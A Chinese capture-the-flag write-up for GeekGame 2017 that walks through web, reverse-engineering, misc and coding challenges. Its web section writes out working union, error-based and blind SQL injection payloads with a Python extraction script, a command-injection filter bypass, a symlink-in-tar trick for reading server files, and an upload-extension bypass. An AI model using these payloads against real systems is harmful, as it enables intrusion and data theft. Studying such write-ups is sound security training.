第八届GeekGame2017 Writeup By Assassin

来源:互联网 发布:java整型转换成字符串 编辑:程序博客网 时间:2024/06/10 21:18

差点错过这个好玩的比赛

WEB

故道白云

最最基本的注入了吧,首先测试

这里写图片描述

没有过滤#号,然后大家应该就知道干啥了

http://game.sycsec.com:2006/?submit=submit&id=0'union select 1,1%23http://game.sycsec.com:2006/?submit=submit&id=0'union select SCHEMA_NAME,1 from information_schema.SCHEMATA limit 1,1%23http://game.sycsec.com:2006/?submit=submit&id=0'union select TABLE_NAME,1 from information_schema.TABLES where TABLE_SCHEMA='f1ag' limit 0,1%23http://game.sycsec.com:2006/?submit=submit&id=0'union select COLUMN_NAME,1 from information_schema.COLUMNS where TABLE_NAME='flag' limit 0,1%23http://game.sycsec.com:2006/?submit=submit&id=0'union select f4ag,1 from f1ag.flag%23SYC{HACKEr_By-cL0und}

粗心的李超

说是源码泄露,发现index.php.bak文件得到源码

<?phpinclude "flag.php";if(isset($_POST['user'])&&isset($_POST['pass'])){    if($_POST['user']=='admin'&&$_POST['pass']=='lc19971117'){    setcookie("user","admin");    }}if(isset($_COOKIE['user'])){    if($_COOKIE['user']=="admin"){    echo $flag;    }else{    echo "who are u ?";    }}else{    setcookie("user","guest");}?><h1>Please login in</h1><hr><form method=POST action=""> <p>First name: <input type="text" name="user" /></p>  <p>Last name: <input type="password" name="pass" /></p>  <input type="submit" value="LOGIN" /></form>

这里写图片描述

SYC{just_brute_is_ok!}

Buy me a Tesla

一看sign参数就有猫腻

这里写图片描述

发现就是url解密一下然后base64解密三次即可

我们随便构造一下

这里写图片描述

注意sign要修改

SYC{KeYiGeiWoMaiYiGeZhenDeTeslaMa?}

PHP的悖论1

关键语句

if ($_POST['s1'] !== $_POST['s2'] && md5($_POST['s1']) === md5($_POST['s2'])) { echo $flag; }

这个很容易就想到是利用md5处理数组的漏洞了吧,构造如下即可

这里写图片描述

PHP的悖论2

if ($_POST['s1'] !== $_POST['s2'] && md5($_POST['s1']) == md5($_POST['s2'])) { echo $flag; }

怎么还变得简单了…

这里写图片描述

SYC{Y0u_g0th3w4y_to_k111==}

视频播放器

这个还是非常好玩儿的,利用的是一个ffmpeg的漏洞,这个原理有些厉害了,但是利用过程十分简单
http://www.freebuf.com/vuls/138377.html
然后下载源码,生成恶意文件

这里写图片描述

然后上床恶意文件即可读到flag
这里写图片描述

SYC{WhatIsExpFuckNoLiaoDe???}

iPhone X

这个题目快坑死我了…搜索一下iphone的UA,然后修改一下如下

这里写图片描述

得到

OK, you have buy the iphone X using the time machine<br>But I don't think your IP address or resource is valid

加上

x-forwarded-for:127.0.0.1

得到flag

SYC{UA_AND_IP_COULD_BE_FORGED_!!!}

Clound的错误

明显的报错注入了

http://game.sycsec.com:2007/?sycid=1'+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23http://game.sycsec.com:2007/?sycid=1'+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema='f1ag' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23http://game.sycsec.com:2007/?sycid=1'+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='flag' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23http://game.sycsec.com:2007/?sycid=1'+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,f4ag,0x7e) FROM f1ag.flag LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

这里写图片描述

SYC{Err0r_sql_inj}

G胖万岁

还是之前做题太少了,还是被卡住了
上来看到url很有特点,猜测是排序问题,sql语句应该是如下·

mysql> select * from flag order by 1 desc;+------+-------+------------------------+| id   | user  | flag                   |+------+-------+------------------------+| 3    | fuzz  | flag{admin_is_not_me}  || 2    | guest | flag{flag_is_not_here} || 1    | admin | flag{flag_is_here}     |+------+-------+------------------------+3 rows in set (0.00 sec)

这样的话desc是注入点,再测试一下

这里写图片描述

所以猜测应该是没什么问题的
这里利用了如下语句
这里写图片描述

当然我们只要利用构造报错即可,终于找到了注入点

http://game.sycsec.com:2008/Steam/1.php?type=,if(1=0,1,(select 1 union select 2));http://game.sycsec.com:2008/Steam/1.php?type=,if(1=1,1,(select 1 union select 2));

脚本如下

import requests#lens>21000 truetemp = 0def search(s,pos,l,r):    if l>r:        return     global temp    mid = (l+r)/2    tempurl= 'http://game.sycsec.com:2008/Steam/1.php?type=,if(ascii(substr(('+s+') from '+str(pos)+' for 1))<='+str(mid)+',1,(select 1 union select 2))'    lens = len(requests.get(tempurl).text)    if lens<21000:        search(s,pos,mid+1,r)    else:        temp = mid        search(s,pos,l,mid-1)def make():    global temp    flag=""    #key="select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='g4m3e1' limit 0,1 "    #key="select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='F1ag_1s_h3re' limit 1,1 "    key="select f14g_is from F1ag_1s_h3re limit 0,1 "    for i in range(1,50):        temp = 0        search(key,i,30,130)        if temp !=30 and temp !=130:            flag+=chr(temp)            print flag        else :            break    print flagmake()#database : exampleDB  g4m3e1  mysql performance_schema#table(g4m3e1):F1ag_1s_h3re#columns(F1ag_1s_h3re): id f14g_is#SYC{ShutupandBuy1t}

大大的标题

首先看到了标题是upload是一个文件上传的问题,首先扫描一下目录直接发现存在源码泄露?1.zip文件下载得到源码
一开始最关键的代码在这里

$file_ext  = substr( $file_name, strrpos( $uploaded_name, '.' ) + 1);

这个是检测最后一个点的位置,类似于解析漏洞是的,但是怎么也没想到就是单纯的后缀名过滤不全…
我们看着

$allow_ext=array("php","php3","php4","php5","phpt","phtml");

是不是少了什么…比如说.pht,结果随便一试试就出来了

SYC{CLound-upL0ad}

Clound的错误2

还是很简单的,简单利用一下1的payload,发现过滤了空格,这个随便绕过就行,并且筛选去掉了一些关键字,利用重复写即可绕过直接上payload就行了。之前的and换成||

http://game.sycsec.com:2010/?sycid=1'||(updatexml(1,concat(0x7e,(SELselectECT(f4ag)frfromom(f1ag.flag)),0x7e),1))%23

你的名字

好难的题目…
首先猜到了get一个变量name,发现存在回显
然后就是疯狂的fuzz,通过测试发现,加上%0a在加上命令行可以执行!!!
但是貌似过滤了很多单个字符和词组(如cat等)
没有过滤的符号# , + % . = _ ^ [] \
然后经过查找资料发现bash中可以用\转义命令!!!

这里写图片描述

类似

ca\t%09index.ph\p

是可以执行的!!!
然后先是获得源码

这里写图片描述

然后就是大大的坑。。。也是因为自己太菜了payload如下

xxx?name=%0afin\d%09

什么参数都不带,233333

这里写图片描述

SYC{Wo_ai_he_kou_jue_jiu}

快捷方式的妙用

这个题目我是比较迷糊的,文件通过tar压缩过上传之后会返回内容,这里说是什么快捷方式的妙用,在ubuntu系统中快捷方式就是软链接,ln -s命令可以构造软链接!而我们在本机实验的时候,假如构造一个到/var/www/html/flag.php的软链接,那么我们打开快捷方式的时候就会到/var/www/html/flag.php去。

因为我写了一个flag.php文件,然后ln -s生成了一个软链接打包上传,结果显示了两次内容,猜测upload.php的处理方式是打开压缩包中的文件,并且一一输出出来!然后这样就好办了我们只要构造任意位置的软连接在这里就能阅读源码了

比如

ln -s  /var/www/html/upload.php shelltar -zcvf read.zip shell 

这样会显示目标机器上的upload.php源代码

阅读代码可以得知flag在/home/flag_is_here_hahaha下面

0)) { die("Upload Failed."); } $name = md5(time()); if (!is_dir('/tmp/'.$name)) { mkdir('/tmp/'.$name, 0700, false); chdir('/tmp/'.$name); if(move_uploaded_file($_FILES["file"]["tmp_name"], '/tmp/'.$name.'/'.$name.'.txt')) {     $file = getcwd().'/'.$name.'.txt'; shell_exec('tar -xvf '.$file);     if(system('tar -tf '.$file.'|xargs cat')) {     shell_exec('rm -rf /tmp/'.$name);     } } else {     } } else {     echo "Upload Failed."; } } // /home/flag_is_here_hahaha ?>

果真全部都cat了一遍,我们只需要再生成一下新的软链接到目标flag位置即可!

ln -s  /home/flag_is_here_hahahatar -zcvf read.zip shell 
SYC{Bust_1inK!!!}

Reverse

Windwos_1

水题

这里写图片描述

a=[83,89,67,123,89,111,117,95,71,111,116,95,109,101,95,84,65,84,125]flag =''for i in a:    flag+=chr(i)print flagSYC{You_Got_me_TAT}

Windwos_2

这里写图片描述

怕不是PE文件被XOR过了,我们还是观察一下PE文件结构的特点,明显发现
这里写图片描述

发现存在很多连续的00位,我们再看一下加密后的程序
这里写图片描述

貌似是53 87 f2 a4 e2 b7为一组进行的抑或加密来着(我们用现在第一个字节和标准PE头抑或得到开头位置),我们尝试破解
脚本如下

#_*_coding:utf-8 _*_a=[]xor = [0x53,0x87,0xf2,0xa4,0xe2,0xb7]if __name__ == '__main__':    f=open('CM_2.exe' ,'rb')    f.seek(0,0)    while True:        byte = f.read(1)        if byte == '':            break        else:            hexstr =  "%s" % byte.encode('hex')            decnum = int(hexstr, 16)            a.append(decnum)        #print byte, hexstr, decnum    print len(a)    f.close()    print 'read finish'    outfile = file("out.exe","wb")    for i in range(len(a)):        outfile.write(chr(a[i]^xor[i%6]))    outfile.close()

然后我们得到一个exe,拖到IDA中就发现可以正常的编译了,随便搜索一下字符串发现flag(题目还是简化了,没去具体分析程序流程)

这里写图片描述

Windwos_3

水题?直接找到什么不得了的东西

这里写图片描述

直接去访问得到flag

#_*_coding:utf-8 _*_a=[18,19,20,1,15,20,16,11,7,3,1,8,7,2,3,2,0,0,0,0,0,0]sss='O1!l...uo__p5_UOsfseD'+'\x15'+'\x00'*6s=[]for i in sss:    s.append(ord(i))print sfor i in range(8):    temp = s[a[i+8]]    s[a[i+8]]=s[a[i]]    s[a[i]]=tempflag =''for i in range(len(s)):    flag+=chr(s[i])print flag#SYC{Oops...OD__15_Useful!}

APK_1

直接解密得到关键源码

  private String re(String paramString)  {    paramString = paramString.toCharArray();    char[] arrayOfChar = new char[paramString.length];    int j = 0;    int i = paramString.length - 1;    while (i >= 0)    {      arrayOfChar[j] = paramString[i];      j += 1;      i -= 1;    }    return new String(arrayOfChar);  }  private boolean isPasswordValid(String paramString1, String paramString2)  {    if (paramString1.length() == 0) {      return false;    }    return ("\n" + paramString1).equals(re(Base64.encodeToString(paramString2.getBytes(), 0)));  }  private void attemptLogin()  {    if (this.mAuthTask != null) {      return;    }    this.mUsernameView.setError(null);    this.mPasswordView.setError(null);    Object localObject = this.mUsernameView.getText().toString();    String str = this.mPasswordView.getText().toString();    AutoCompleteTextView localAutoCompleteTextView;    if (TextUtils.isEmpty((CharSequence)localObject))    {      this.mUsernameView.setError(getString(2131165223));      localAutoCompleteTextView = this.mUsernameView;    }    while (!isPasswordValid(str, (String)localObject))    {      this.mPasswordView.setError(getString(2131165226));      localObject = this.mPasswordView;      return;      if (!isUsernameValid((String)localObject))      {        this.mUsernameView.setError(getString(2131165225));        localAutoCompleteTextView = this.mUsernameView;      }    }    Toast.makeText(getApplicationContext(), getString(2131165227), 0).show();  }

很简单base64加密颠倒一下就行

SYC{=cTMwIzalV2Rjl3U}

Convolution

这个题目真的是搞哭我了,还是知识点不扎实,醉了…其实关键的在于一个算法

这里写图片描述

这里建议用c语言复现,我之前用python真是进了大坑,因为c语言的char类型正好和题目对应,这个题目的算法就是一个32长度的数组,从不同的起点经过抑或累加后得到一个长度65的串(具体还是请自己分析,不太好说),
这里写图片描述

然后我们可以轻松地判断需要34位即可,然后就是写脚本复现了,自动机如下

#include<bits/stdc++.h>using namespace std;char s[33]={0x21,34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 58, 59, 60, 61, 62, 63, 64, 91, 92, 93, 94, 95, 96, 123, 124, 125, 126};char Cmp[81]={0x72,0xE9,0x4D,0xAC,0xC1,0xD0,0x24,0x6B,0xB2,0xF5,0xFD,0x45,0x49,0x94,0xDC,0x10,0x10,0x6B,0xA3,0xFB,0x5C,0x13,0x17,0xE4,0x67,0xFE,0x72,0xA1,0xC7,0x4,0x2B,0xC2,0x9D,0x3F,0xA7,0x6C,0xE7,0xD0,0x90,0x71,0x36,0xB3,0xAB,0x67,0xBF,0x60,0x30,0x3E,0x78,0xCD,0x6D,0x35,0xC8,0x55,0xFF,0xC0,0x95,0x62,0xE6,0xBB,0x57,0x34,0x29,0xE,0x3,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0};char flag[35]={0};int main(){    for(int i=0;i<32;i++){        for(int j=-255;j<=255;j++){            char ans=0;            for(int k=0;k<i;k++){                ans+=(flag[k]^s[i-k]);            }            ans+=(j^s[0]);            if(ans==Cmp[i]){                flag[i]=j;                break;            }        }    }    for(int i=32;i<=33;i++){        for(int j=-255;j<=255;j++){            char ans=0;            for(int k=0;k<31;k++){                ans+=(flag[i-31+k]^s[31-k]);            }            ans+=(j^s[0]);            if(ans==Cmp[i]){                flag[i]=j;                break;            }                   }    }    printf("%s\n",flag);    return 0;} //SYC{4+mile+b3gin+with+sing1e+step}

太菜了,WA到哭

Linux_1

非常简单的东东,看一下反汇编轻松得到

这里写图片描述

解得flag如下

SYC{L1nux_1s_51mple}

Transform

Misc

找规律

这个题目还真是奇技淫巧啊,就是通过暴力程序求得多项式的系数,还是没有不成的,只有不敢想的,脚本如下

import requestsvalue = [0, 1, 1, 2, 8, 18, 59, 155, 460, 1276, 3672, 10357, 29533]p = []for a in range(-10,10):    for b in range(-10,10):        for c in range(-10,10):            for d in range(-10,10):                for e in range(-10,10):                    if value[5]==a*value[4]+b*value[3]+c*value[2]+d*value[1]+e*value[0]:                        flag=1                        for i in range(4,len(value)):                            if value[i]!=a*value[i-1]+b*value[i-2]+c*value[i-3]+d*value[i-4]+e*value[i-5]:                                flag=0                                break                        if flag==1:                            p.append(a)                            p.append(b)                            p.append(c)                            p.append(d)                            p.append(e)for i in range(13,32):    value.append(p[0]*value[i-1]+p[1]*value[i-2]+p[2]*value[i-3]+p[3]*value[i-4]+p[4]*value[i-5])print "SYC{"+str(value[30])+"}"#SYC{4274885634120}

拿出荧光棒

这个题目还是需要奇技淫巧,我想这个格式的

这里写图片描述

一看有个字符串?估计是mp3stego的密钥吧,但是明显就是不告诉你的,轻松可以猜出来第一个一定是Y(脑洞),第二个没法猜测了,怎么办?爆破!
首先生成命令集合

import string s= string.lowercase+string.uppercase+'0123456789'for i in s:    print "Decode.exe -X  hahahahaha.mp3 -P SYC2"+str(i)+"66"

然后直接复制粘贴到cmd中执行,然后我们审计运算结果,只有SYC2G66SYC2966解密成功,经过尝试SYC2966为最终密钥

SYC{girigiriai~grIgIrIm@i~}

蕉迟但到

通过stego查看未果,然后去变成zip发现了线索

这里写图片描述

但是misc万事开头都是要binwalk的,发现是7z的压缩文件,所以不能直接爆破…下载软件Passware Kit破解得到密码为FLAG
这里写图片描述

SYC{X1_ZI_Zh@_LiE}

Docker1

真是很不错!!!之前一直想学一学docker一直没什么机会,现在终于有机会接触一下docker了!这里的第一关真的很简单,首先我们需要下载镜像

docker pull g0doot/docker

然后下载到本地,然后我是这么处理的,没有进行运行什么的,直接将images文件导出查看最新的文件夹中内容,存在flag.txt

这里写图片描述

SYC{1_1ov3_D0cker_a_loT!!!!}

这个还是非常简单的!

Docker2

这个其实还是很简单,因为现有的文件夹除了root就是var,然后在/var/www/html/中存在.flag.txt(因为第一步的导出文件让一切都无所遁形!emmm)但是还是没有接触到挂起服务就又解决了问题…

SYC{!Th1s_1s_Th3_f1ag_which_1s_hIdd3n}

Docker3

这里写图片描述

emmm其实有点脱离了Docker本身的考察点吧…结果成了密码的爆破了…emmmm
解压出来是一个ZIP文件,直接写个脚本生成密码字典,然后爆破即可…

这里写图片描述

SYC{My_B1rthd4y_1s_My_p4ssw0rd___}








Code

可以跑一年

嘿嘿嘿,碰到了ACM的东西啊,矩阵快速幂,果真没有白学,大概意思是这样

|a_n  |    |1 2 -1| |a_n-1 ||a_n-1| =  |1 0 0 |*|a_n-2 ||a_n-2|    |0 1 0 | |a_n-3 |

解释代码如下

#include<bits/stdc++.h>using namespace std;typedef struct mx{    long long value[4][4];}mx;long long times=3141592653589793-2;long long mod = 1000000007; mx multi(mx a,mx b){    mx another ;    for(int i=1;i<=3;i++){        for(int j=1;j<=3;j++){            long long temp=0;            for(int k=1;k<=3;k++){                temp=(temp+((a.value[i][k]%mod)*(b.value[k][j]%mod))%mod)%mod;            }            another.value[i][j]=temp;        }    }    return another;}int main(){    mx temp ;    for(int i=1;i<=3;i++){        for(int j=1;j<=3;j++){            temp.value[i][j]=0;        }    }    temp.value[1][1]=1;    temp.value[1][2]=2;    temp.value[1][3]=-1;    temp.value[2][1]=1;    temp.value[3][2]=1;    mx init;    for(int i=1;i<=3;i++){        for(int j=1;j<=3;j++){            init.value[i][j]=0;        }        init.value[i][i]=1;    }       int bit[100],pos=1;    while(times){        if(times&1){            bit[pos++]=1;        }        else{            bit[pos++]=0;        }        times/=2;    }    for(pos=pos-1;pos>=1;pos--){        init=multi(init,init);        if(bit[pos]==1){            init=multi(init,temp);        }    }    cout<<init.value[1][1]<<endl;    return 0;}
SYC{101634435}

排列

猛一看还是被吓唬住了…但是仔细一看,不就是字典序嘛!所以这里有15个数,后14数组合数是可以直接推出来的,思路很清楚,就不多写了,直接把我接出答案的脚本给出来吧

#include<bits/stdc++.h>using namespace std;bool checkP(int* p, int n) {    static int cnt[20];    memset(cnt, 0, sizeof(cnt));    for(int i=0; i<n; ++i) {        cnt[p[i]]++;    }    for(int i=0; i<20; ++i) {        if(cnt[i]>1) return false;    }    return true;}void print(int *p, int n) {    for(int i=0; i<n; ++i)        printf("%d", p[i]);}int main() {    //int p[20] = {14,1,13,2,12,15,9,8,11,6,5,10,3,7,4};    int pause[20]={14,1,2,3,4,5,6,7,8,9,10,11,12,13,15};    //int p[20] = {11,1,2,3,4,5,6,7,8,9,10,12,13,14,15};    //int p[20] = {10,8,7,1,2,3,4,5,6,9,11,12,13,14,15};    //int p[20] = {10,8,6,14,1,2,3,4,5,7,9,11,12,13,15};    int p[20] = {10,8,6,13,2,1,3,4,5,7,9,11,12,14,15};    int n=15;    //long long m=307674368000ll;    long long m=302369153413ll-87178291200ll*3; //40834279813    m=m-6227020800ll*6;    m=m-479001600ll*7;    m=m-39916800ll*2;    m=m-3628800ll*10;    if(checkP(p, n)==false)        puts("not a permutation");    while(m--) {        prev_permutation(p, p+n);        if(memcmp(p,pause,sizeof(p))==0){            cout<<m<<endl;        }        //302369153413    }    printf("SYC{");    print(p, n);    puts("}");    return 0;}//SYC{108613131227915514114}

还是卡了一段时间,有点老了。注意里面减数的时候要加上ll改变成long long类型,负责c++编译器默认成了int型,会变成超大的数字。